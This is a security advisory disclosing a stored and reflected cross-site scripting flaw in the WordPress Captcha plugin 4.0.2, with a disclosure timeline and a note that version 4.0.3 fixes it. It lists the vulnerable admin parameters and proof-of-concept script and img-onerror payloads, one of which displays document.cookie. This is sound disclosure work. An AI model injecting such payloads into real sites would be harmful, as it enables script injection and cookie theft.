Plugin Name : Captcha Effected Version : 4.0.2 (and most probably lower version's if any) Vulnerability : A3-Cross-Site Scripting (XSS) Identified by : Madhu Akula Technical Details Minimum Level of Access Required : Administrator PoC - (Proof of Concept) : http://localhost/wp-admin/admin.php?page=captcha.php In the above page the following fields put the payload as below cptch_label_form = ?><script>alert(1)</script> cptch_required_symbol = ?><script>alert(2)</script> http://localhost/wp-admin/admin.php?page=captcha.php&action=go_pro bws_license_key =?><img src=x onerror=prompt(document.cookie);> Vulnerable Parameter : cptch_label_form, cptch_required_symbol, bws_license_key Type of XSS : Reflected / Stored Fixed in : 4.0.3 http://wordpress.org/plugins/captcha/changelog/ Disclosure Timeline Vendor Contacted : 2014-08-04 Plugin Status : Updated on 2014-08-07 Public Disclosure : October 3, 2015 CVE Number : Not assigned yet Plugin Description : The Captcha plugin allows you to implement a super security captcha form into web forms. It protects your website from spam by means of math logic, easily understood by human beings. You will not have to spend your precious time on annoying attempts to understand hard-to-read words, combinations of letters or pictures that make your eyes pop up. All you need is to do one of the three basic maths actions - add, subtract and multiply. This captcha can be used for login, registration, password recovery, comments forms. There is also a premium version of the plugin, allowing compatibility with BuddyPress (Registration form, Comments form, "Create a Group" form) and Contact Form 7.